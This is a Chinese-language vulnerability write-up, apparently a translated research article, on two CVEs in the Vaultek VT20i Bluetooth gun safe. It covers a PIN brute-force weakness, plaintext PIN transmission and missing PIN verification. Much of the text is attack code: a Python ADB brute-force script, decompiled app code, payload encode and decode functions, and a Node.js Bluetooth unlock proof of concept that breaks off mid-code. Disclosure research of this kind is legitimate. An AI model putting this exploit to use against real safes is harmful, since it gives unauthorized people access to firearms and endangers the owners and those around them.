利用VT20i的漏洞通過藍牙遠程入侵你的槍支保險箱
利用VT20i的漏洞通過藍牙遠程入侵你的槍支保險箱
寫在前面的話
VT20i是一款非常受歡迎的產品(亞馬遜熱銷產品之一),它的作用是保護用戶槍支的安全。在這篇文章中,我們將跟大家介紹如何利用Vaultek VT20i中的多個安全漏洞,這些漏洞包括CVE-2017-17435和CVE-2017-17436。我們將給出詳細的PoC,而這些漏洞將允許我們通過發送特殊構造的藍牙消息來解鎖Vaultek VT20i槍支保險箱。
漏洞描述
- 有趣的漏洞-制造商的Android端應用程序允許他人無限制(不限次數)地嘗試與保險箱進行配對。配對PIN碼跟解鎖PIN碼是一樣的,而這將允許攻擊者通過暴力破解的方式獲取配對PIN碼,並最終解鎖保險箱。
- 非常有趣的漏洞-CVE-20170-17436:Android端應用程序跟保險箱之間的通信是沒有經過加密的,配對成功之後,應用程序會以明文的形式發送保險箱的PIN碼。根據官方網站以及廠商宣傳材料中的描述,這種通信信道使用了“最高級別的藍牙加密“,而數據傳輸使用了AES256加密。但是,廠商的這種宣傳明顯不符合事實。AES256加密並不支持藍牙LE標準,而且此前也沒有出現過AES256應用到更高層級的案例。雖然AES128支持藍牙LE,但廠商並沒有使用AES128。如果沒有采用加密的話,他人將能夠通過竊聽保險箱和應用程序之間的通信數據來獲取密碼。
- 簡直不可思議-CVE-2017-17435:攻擊者可在不知道解鎖PIN碼的情況下,通過特殊構造的藍牙消息來遠程解鎖此型號產品線的任意槍支保險箱。手機端應用程序要求有效PIN碼才可以操作保險箱,程序會要求用戶輸入PIN碼並發送認證請求。但是,保險箱並不會對應用程序發送過來的PIN碼進行驗證,所以攻擊者可以使用任意值來作為PIN碼屏解鎖槍支保險箱。
接下來,我們會跟大家詳細介紹這些漏洞的技術細節。大家可以先觀看下面給出的演示視頻來了解漏洞的影響效果。
演示視頻:https://youtu.be/1xrdwhisW-M
攻擊非常簡單
首先,我們需要獲取用於跟保險箱通信的Android端APK文件【下載地址】。我們使用的是v2.0.1,這款APK的開發廠商似乎是一家中國公司,公司名為Youhone。打開App之後,初始界面會要求用戶使用PIN碼來連接保險箱。
用於配對的連接PIN碼其實跟槍支保險箱的解鎖PIN碼是一樣的。成功配對之後,我們就可以利用App來執行保險箱的解鎖命令了。
接下來,我們需要確定是否可以成功對其進行暴力破解攻擊。PIN碼是長度為4-8位的數字值,由於這個密鑰空間相對較小,所以我們可以直接使用腳本來進行爆破攻擊(使用ADB來操作Android端應用)。在最理想的攻擊場景中(密碼長度為4個字符),密碼空間為5^4,遍歷完整個密碼空間大約需要72分鐘。
下面給出的是我們的Python腳本,它可以通過ADB來與手機進行交互,並不斷輸入密碼組合。當腳本測試出了正確的PIN碼之後,保險箱將會自動打開。
import os import itertools import time for combination in itertools.product(xrange(1,6),repeat=4):
print ‘‘.join(map(str,combination))
os.system("adb shell input touchscreen tap 600 600")
time.sleep(5)
os.system("adb shell input text"+ ‘ "‘ + ‘‘.join(map(str,combination)) + ‘"‘)
time.sleep(1)
os.system("adb shell input touchscreen tap 500 1100")
time.sleep(1)
os.system("adb shell input touchscreen tap 850 770")
廠商可以通過限制密碼嘗試請求或設置時間間隔來緩解這個漏洞所帶來的影響。話雖如此,攻擊者能用的方法可不只是暴力破解攻擊這麽簡單。
逆向工程分析
Vaultek APK負責對保險箱進行配對和解鎖,我們有兩種方法來了解這些功能的運行機制:
- 識別APK中負責生成解鎖命令的代碼,並對代碼進行靜態分析。
- 捕捉發出的命令以及日誌輸出,並對其進行動態分析。
應用程序跟保險箱之間的通信使用的是低功耗藍牙,關於該協議的內容可參考【這篇文檔】。
數據包捕獲
我們使用了Ubertooth【項目地址】來嗅探應用程序與保險箱之間的通信數據,並將捕捉到的數據記錄在硬盤之中。
對捕捉到的數據包進行了分析測試之後,我們發現它並沒有使用AES256加密,所有的控制命令都是以明文形式發送的。
接下來,我們就可以世界使用Android內置的藍牙HCI日誌了,關於如何使用這項功能(Android捕獲對話信息),請參考【這篇文章】。
在捕捉到的數據包中,我們可以看到有關低功耗藍牙GATT的對話信息,註意其中的0xB以及0xA handle。
現在,我們可以回到APK中查看這些數據Payload代表的是什麽了。
APK代碼分析
首先,我們可以使用apktool和dex2jar來提取APK中的類文件,然後使用Luyten(Procyon反編譯器的GUI版本)來審查反編譯後的代碼。
其中有一個名叫OrderUtilsVT20的類吸引了我們的註意,這個類中不僅包含了格式化的命令Payload代碼,而且還包含了跟不同類型命令相關的變量。
static {
OrderUtilsVT20.PASSWORD = "12345678";
OrderUtilsVT20.AUTHOR = new byte[] { 0, 0, 0, 0 };
OrderUtilsVT20.CMD_AUTHOR = new byte[] { -128, -83 };
OrderUtilsVT20.CMD_INFO = new byte[] { 48, -51 };
OrderUtilsVT20.CMD_FINGER = new byte[] { 49, -51 };
OrderUtilsVT20.CMD_LOG = new byte[] { 50, -51 };
OrderUtilsVT20.CMD_DOOR = new byte[] { 51, -51 };
OrderUtilsVT20.CMD_SOUND = new byte[] { 52, -51 };
OrderUtilsVT20.CMD_LUMINANCE = new byte[] { 53, -51 };
OrderUtilsVT20.CMD_DELETE = new byte[] { 54, -51 };
OrderUtilsVT20.CMD_DELETE_ALL = new byte[] { 55, -51 };
OrderUtilsVT20.CMD_TIME = new byte[] { 56, -51 };
OrderUtilsVT20.CMD_DISCONNECT = new byte[] { 57, -51 };
OrderUtilsVT20.CMD_ERROR = new byte[] { 59, -51 };
OrderUtilsVT20.CMD_PAIR = new byte[] { 58, -51 };
OrderUtilsVT20.CMD_PAIRED = new byte[] { 58, -51 };
}
不幸的是,這些值並不會直接顯示在我們捕捉到的數據包中。在進行了進一步分析之後,我們發現這是因為應用程序以及保險箱會執行一種奇怪的編碼來對Payload數據進行封裝處理。除此之外,APK還會將已編碼的Payload拆分成長度為20字節的數據塊,這跟我們捕捉到的數據包所顯示的格式是相匹配的。
編碼函數如下所示:
if (!StringUtil.isVT20(s)) {}
s = (String)(Object)new byte[array.length * 2 + 2];
s[0] = true;
s[s.length - 1] = -1;
for (int i = 0; i < array.length; ++i) {
final byte b = array[i];
final byte b2 = array[i];
s[i * 2 + 1] = (byte)(((b & 0xF0) >> 4) + 97);
s[i * 2 + 2] = (byte)((b2 & 0xF) + 97);
}
Label_0220: {
if (this.mGattCharacteristic != null && this.mBluetoothGatt != null) {
int length = s.length;
int n = 0;
while (true) {
Label_0185: {
if (length > 20) {
break Label_0185;
}
array = new byte[length];
System.arraycopy(s, n * 20, array, 0, length);
int i = 0;
Label_0173_Outer:
while (true) {
this.SendData(array);
++n;
while (true) {
try {
Thread.sleep(10L);
length = i;
if (i == 0) {
this.processNextSend();
return;
}
break;
array = new byte[20];
System.arraycopy(s, n * 20, array, 0, 20);
i = length - 20;
continue Label_0173_Outer;
發現了這一點之後,我們就可以對編碼過程進行逆向分析了,我們的解碼函數如下所示:
function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length-1;i=i+2){
var tmp;
tmpA = payload[i]-97;
tmpB = payload[i+1]-97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
}
使用這個解碼函數來對捕捉到的Payload進行解碼之後,我們就可以直接查看到應用程序發送給保險箱的控制命令了:
其中比較有意思的兩個命令為getAuthor和openDoor。
下面給出的是getAuthor命令的代碼:
public static byte[] getAuthor(final String password) {
if (password == null || password.length() <= 0) {
return null;
}
System.out.println("獲取授權碼 " + password);
setPASSWORD(password);
(OrderUtilsPro.data = new byte[24])[0] = -46;
OrderUtilsPro.data[1] = -61;
OrderUtilsPro.data[2] = -76;
OrderUtilsPro.data[3] = -91;
setTime();
OrderUtilsPro.data[8] = OrderUtilsPro.CMD_AUTHOR[0];
OrderUtilsPro.data[9] = OrderUtilsPro.CMD_AUTHOR[1];
setRandom();
setDateLength(4);
CRC();
setPassWord();
return OrderUtilsPro.data;
}
代碼將會調用setPassWord方法,它將會把PIN碼填充至getAuthor數據包的結尾。
public static void setPASSWORD(final String s) {
String password = s;
Label_0062: {
switch (s.length()) {
default: {}
case 4: {
password = "0000" + s;
break Label_0062;
}
case 7: {
password = "0" + s;
break Label_0062;
}
case 6: {
password = "00" + s;
break Label_0062;
}
case 5: {
password = "000" + s;
}
case 8: {
OrderUtilsPro.PASSWORD = password;
}
}
}
}
public static void setPassWord() {
for (int i = 0; i < 8; i += 2) {
OrderUtilsPro.data[23 - i / 2] = (byte)(int)Integer.valueOf(OrderUtilsPro.PASSWORD.substring(i, i + 2), 16);
}
}
getAuthor命令的結構如下所示:
由於在解鎖保險箱的過程中,APK發送的編程PIN碼並沒有經過任何的加密處理,所以這就導致了第二個漏洞的出現,即以明文格式傳輸PIN碼。
上述結構中末尾部分的PIN碼會在getAuthor命令中以明文形式發送,而保險箱並不會對getAuthor數據包中的PIN碼進行校驗,並且無論PIN 碼值是什麽,它都會返回一個正確的認證令牌。
保險箱針對getAuthor命令的響應信息中包含了一個認證令牌(位於前四個字節數據中),而它所返回的信息中還包含openDoor消息所需使用的數據。因此,我們只需要獲取到認證令牌中的認證代碼,然後直接使用openDoor命令來打開保險箱即可。
下面顯示的是com.youhone.vaultek.utils.ReceiveStatusVT20.ReceiveStatusVT20中的操作代碼:
switch (this.param) {
default: {}
case 41001: {
System.out.println("獲取授權碼VT");
this.author[0] = array[0];
this.author[1] = array[1];
this.author[2] = array[2];
this.author[3] = array[3];
}
openDoor命令格式如下,其中前四個字節為認證代碼:
最簡化的保險箱開啟步驟如下所示:
PoC源碼
下面給出的是可以用來打開Vaultek VT20i槍支保險箱的PoC源代碼:
/*
Usage:
npm install noble
npm install split-buffer
node unlock.js
*/ var noble = require(‘noble‘); var split = require(‘split-buffer‘); var rawData = ["ThisIsWhere","TheRAWDataWouldGo"] function d2h(d) {
var h = (+d).toString(16);
return h.length === 1 ? ‘0‘ + h : h;
} function decodePayload(payload){
var res = new Array();
for(var i=1;i<payload.length-1;i=i+2){
var tmp;
tmpA = payload[i]-97;
tmpB = payload[i+1]-97;
tmpC = (tmpA<<4) + tmpB;
res.push(tmpC);
}
return res;
} function encodePayload(payload){
var res = new Array();
res.push(0x01);
for(var i=0;i<payload.length;i=i+1){
var tmp;
tmpA = payload[i];
tmpB = (payload[i]>>4)+97;
tmpC = (payload[i]&0xF)+97;
res.push(tmpB);
res.push(tmpC);
}
res.push(0xff);
return res;
} function CRC(target){
var tmp = 0;
for(var i=0;i<16;i=i+1){
tmp += target[i] & 0xFF }
var carray = new Array();
carray.push(tmp&0xFF);
carray.push((tmp&0xFF00)>>8);
carray.push((tmp&0xFF0000)>>16);
carray.push((tmp&0xFF000000)>>24);
target[16] = carray.shift();
target[17] = carray.shift();
target[18] = carray.shift();
target[19] = carray.shift();
} function scan(state){
if (state === ‘poweredOn‘) { // if the radio‘s on, scan for this service noble.startScanning();
console.log("[+] Started scanning");
} else { // if the radio‘s off, let the user know: noble.stopScanning();
console.log("[+] Is Bluetooth on?");
}
} var mcount = 0; function findMe (peripheral) {
console.log(‘Discovered ‘ + peripheral.advertisement.localName);
if (String(peripheral.advertisement.localName).includes("VAULTEK")){
console.log(‘[+] Found ‘+peripheral.advertisement.localName)
}
else{
return;
}
noble.stopScanning();
peripheral.connect(function(error) {
console.log(‘[+] Connected to peripheral: ‘ + peripheral.uuid);
peripheral.discoverServices([‘0e2d8b6d8b5e91d5b3706f0a1bc57ab3‘],function(error, services) {
targetService = services[0];
targetService.discoverCharacteristics([‘ffe1‘], function(error, characteristics) {
// got our characteristic targetCharacteristic = characteristics[0];
targetCharacteristic.subscribe(function(error){});
targetCharacteristic.discoverDescriptors(function(error, descriptors){
// write 0x01 to the descriptor console.log(‘[+] Writing 0x01 to descriptor‘);
var descB = new Buffer(‘01‘,‘hex‘);
descriptor = descriptors[0];
descriptor.writeValue(descB,function(error){});
console.log(‘[+] Fetching authorization code‘);
message = split(Buffer.from(rawData.shift(),‘hex‘),20);
for(j in message){
targetCharacteristic.write(message[j],true,function(